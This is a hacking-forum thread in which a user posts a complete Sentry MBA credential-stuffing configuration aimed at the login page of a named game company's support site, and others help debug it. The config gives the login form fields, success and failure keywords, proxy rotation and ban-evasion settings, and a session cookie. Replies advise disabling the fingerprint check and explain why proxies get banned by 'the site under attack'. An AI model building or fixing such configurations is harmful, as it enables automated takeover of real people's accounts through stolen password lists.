Sentry MBA config advice needed - xArthurZx - May 8, 2016
I was having a go at making a simple config for MBA, but I cant seem to figure out why its not wanting to work. Since I cant post images, this is the error i'm getting at the end of the debugger -
"Bot Status: After Fingerprint -> Error - Got 200 and no source failure keys found with wrong combo - Original Source Length: 18957 -> User IP banned----->"
If your wondering, no I am not banned and debugging with proxies yield the same result, except it says proxy is banned. My only guess would be that its not submitting the correct data, or i'm missing something.
[Wordlist]
UserIndex=1
PassIndex=2
EmailIndex=0
68B1DD0F83CC54159530F744B3F30F72=5
[Settings]
SiteURL=http(colon)//hi-rez.custhelp(dot)com/app/utils/login_form/redirect/account%252Foverview
Timeout=10
WaitBot=0
ResolveHost=0
ComboFilter=0
UsernameStart=6
UsernameEnd=8
PasswordStart=6
PasswordEnd=8
ComboMode=0
Letters=0
Digits=0
Alpha=0
Email=0
LowerUpper=0
LetterDigit=0
SpeciaChar=0
PasswordLetters=0
PasswordDigits=0
PasswordAlpha=0
PasswordEmail=0
PasswordLowerUpper=0
PasswordLetterDigit=0
PasswordSpeciaChar=0
EmailFilter=0
EmailMode=0
ProxyActivate=10
ProxyRatio=4
ProxyCombo=0
WaitTime=5
BanWindowWidth=1
BanWindowProxies=10
BanWindowRatio=10
blnNoProxies=0
RequestMethod=2
Referer=0
HTTPHeader=<ACTION> <FORM ACTION> <HTTP VERSION>|Accept: */*|User-Agent: <USER AGENT>|Host: <HOST>|Pragma: no-cache|Connection: keep-alive|
POSTData=Contact.Login=<USER>&Contact.Password=<PASS>&submit = Log In
[Fake]
AfterFP=1
FollowRedirect=1
EnableConHits=0
Success=3
ConHits=0
EnableConLength=0
SourceTags=1
ConLength=-1
blnSuccess=0
SuccessRetries=3
blnForbToOK=0
ForbToOkLength=1000
blnBadOcrCode=0
BadOcrCodeRetries=3
blnCompleteNot=1
HTTPFollow=1
blnProcessErrors=0
blnInvalidPath=1
UserField=0
[Form]
IAParse=0
blnBasic=0
Action=http(colon)//hi-rez.custhelp(dot)com/app/utils/login_form/redirect/account%252Foverview
Username=Contact.Login
Password=Contact.Password
Email=
CustomData=
NoIndex=
AddData=submit = Log In
Cookie=cp_session=fUTSx0AQGg1Mn9S8r2rnTicfJq74EXi9u1Xlw3ZhZhzm2kxCHNuJxOE7O9ZnEdcrgAvH3dqcEvSaN_EamPGhStVmoG76b_dpmZFfqyGT1AjlY8KbwU5l9bTqEtFW3L2mDEtvIh0_9F94NQCck9ecAr2kDv5bTqLZe_0qxvZ40Md832wGUnQ8NVEu5hwp2REXLENPGrfqHMEaBfOzpS5xMkd4uUWOAWXA19Segerdpl32lRbacUEiPBAjGKeggsmk0ErhI7PGu0RBo%21
IAction=-1
IUser=-1
IPass=-1
IEmail=-2
ICaptcha=-1
ReqReferer=
ReqCookie=
AjaxURL=
AjaxPOSTData=
AjaxData=
AjaxParsingCode=
RefData=
ParsingCode=
FormRedirectUrl=
RedPostData=
LoginPostData=
RedKeys=
DataDesc=
CaptureParsingCode=
RefreshSession=0
RefreshCookie=0
IAMethod=2
POSTMethod=2
RedMethod=1
LoginMethod=1
AjaxHeader=0
FormHeader=0
RedHeader=0
LoginHeader=0
ImageAfterAjax=0
FollowRedirectsOnIA=0
FollowRedirectsOnRed=1
[Ajax]
Variables=
PostElements2=
RedURL=
[OCR]
OCRMode=0
URLMode=0
ImageURLID=||
Captcha=
OCRKey=
RefreshCaptcha=0
blnContrast=0
blnBrightness=0
blnSaturation=0
blnThreshold=0
blnInvert=0
blnNoise=0
blnIsolate=0
blnResize=0
blnBorder=0
blnCharExtract=0
blnRemoveColors=0
blnStringFilter=0
blnLetter=1
blnDigits=1
blnBlur=0
blnReconstruct=0
blnLower=0
blnUpper=0
blnRemoveLines=0
blnMultiChar=0
blnPalette=0
blnCharResize=0
blnCharSubExtraction=0
blnGif=0
blnCompute=0
blnBorderPre=0
Contrast=0
Brightness=0
Saturation=0
Threshold=0
Noise=1
Isolate=1
Resize=1
BorderLeft=0
BorderTop=0
BorderRight=0
BorderBottom=0
CharExtractMinBlack=0
CharExtractMaxBlack=1
CharExtractMinWidth=1
CharRotateMax=0
CharRotateSteps=5
MinLength=1
MaxLength=10
BlurRadius=1
CharExtractMaxWidth=33
CharWidthMinBlack=2
CharSpace=1
Range=0
InvertDensity=0
InvertLength=20
LineCurvatureMax=4
LineWidthMax=13
CharResize=1
CharHeight=13
GifStart=2
GifOffset=2
BorderLeftPre=0
BorderTopPre=0
BorderRightPre=0
BorderBottomPre=0
CharBorderH=5
CharBorderV=5
CharRotateBorder=5
CharExtractMinHeight=1
VerticalRejoin=30
CharExclude=
SpecialChars=
Colors=
Colors2=
Lines=Min Length: 2, Max Width: 5, Horizzontal
Language=eng
[Keywords]
HeaderFail=
HeaderSuccess=
HeaderBan=
HeaderRetry=
SourceFail=The username or password you entered is incorrect or your account has been disabled.;"The username or password you entered is incorrect or your account has been disabled."
SourceSuccess=Your Recently Submitted Questions;Manage Your Account
SourceBan=
SourceRetry=
EnableHeaderFail=0
EnableHeaderSuccess=0
EnableHeaderBan=0
EnableHeaderRetry=0
EnableSourceFail=1
EnableSourceSuccess=1
EnableSourceBan=0
EnableSourceRetry=0
EnableGlobalSourceRetry=1
The site i'm trying to config is http(colon)//hi-rez(dot)custhelp(dot)com/app/utils/login_form/redirect/account%252Foverview
* - Chicken Wings - May 8, 2016
(May 8, 2016 12:36 PM)xArthurZx Wrote: I was having a go at making a simple config for MBA, but I cant seem to figure out why its not wanting to work. Since I cant post images, this is the error i'm getting at the end of the debugger -
"Bot Status: After Fingerprint -> Error - Got 200 and no source failure keys found with wrong combo - Original Source Length: 18957 -> User IP banned----->"
If your wondering, no I am not banned and debugging with proxies yield the same result, except it says proxy is banned. My only guess would be that its not submitting the correct data, or i'm missing something.
[align=center][spoiler=The config (fix the links before trying to load it)]
I've gotten this many times and haven't yet solved it.. but what I've been thinking is that you need to fix authentication stage or fix or do the keyword stage.. I'm going to be testing soon so I'll keep in contact with you on this thread.
* - Beznia - May 8, 2016
Disable AfterFingerprint. It should be unchecked 99.9% of the time.
* - xArthurZx - May 9, 2016
(May 8, 2016 09:36 PM)Beznia Wrote: Disable AfterFingerprint. It should be unchecked 99.9% of the time.
Well that got rid of the error, but now the combo cant distinguish between good combos and failed combos. It just receives the base login page as the response. I was thinking maybe I need to specify the submit button somewhere in the additional data, because it doesn't seem to be POSTing properly or at all.
RE: Sentry MBA config advice needed - z3sh44n - Jan 6, 2019
When a proxy is banned?
A proxy can be banned for 3 reasons in MBA:
1) MBA recognizes the proxy as bad proxy, i.e. the proxy ignores the connection request to the site under attack and gives a fake answer.
2) MBA recognizes that the proxy has been banned by the site under attack: such proxy will be banned since it will not be able to authenticate successfully until it is unbanned by the site.
3) MBA recognizes the proxy as dead/too slow proxy.
RE: Sentry MBA config advice needed - Athr - Jan 6, 2019
(Jan 6, 2019 03:40 PM)z3sh44n Wrote: When a proxy is banned?
A proxy can be banned for 3 reasons in MBA:
1) MBA recognizes the proxy as bad proxy, i.e. the proxy ignores the connection request to the site under attack and gives a fake answer.
2) MBA recognizes that the proxy has been banned by the site under attack: such proxy will be banned since it will not be able to authenticate successfully until it is unbanned by the site.
3) MBA recognizes the proxy as dead/too slow proxy.
Hello. This thread was posted 3 years ago. Please don't bump such threads.
|